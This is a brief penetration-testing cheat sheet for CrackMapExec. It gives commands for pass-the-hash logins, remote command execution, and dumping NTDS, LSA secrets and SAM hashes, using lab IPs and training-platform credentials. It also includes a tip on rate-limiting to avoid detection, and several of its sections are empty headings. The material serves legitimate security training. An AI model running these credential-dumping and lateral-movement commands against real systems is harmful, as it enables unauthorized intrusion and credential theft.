Crackmapexec

CrackMapExec

CrackMapExec is a post-foothold tool used for lateral movement and privilege escalation. It can be used to dump the LSA, SAM, and perform Pass-the-Hash (PtH) attacks.

Basic Usage

Using NTLM hash to authenticate and list shares

crackmapexec smb 192.168.1.100 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --shares

Execute commands with hash

crackmapexec smb 192.168.1.100 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x whoami

Common Operations

Capturing the NTDS

crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds

Dumping LSA Secrets Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

Dumping SAM Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

Token Manipulation

Using the tokens module

Impersonating a user

Command Execution

SMBEXEC Method

User Enumeration

Enumerating Logged-on Users

Advanced Techniques

Pass-the-Hash (PtH)

Getting Password Policies

Enumerating Domain Users

Using Valid Credentials to Enumerate Users

Tips

  • Use --continue-on-success to continue after finding a good credential combo

  • For mass scanning, consider rate-limiting to avoid detection

  • Always test in controlled environments before using in real engagements

Last updated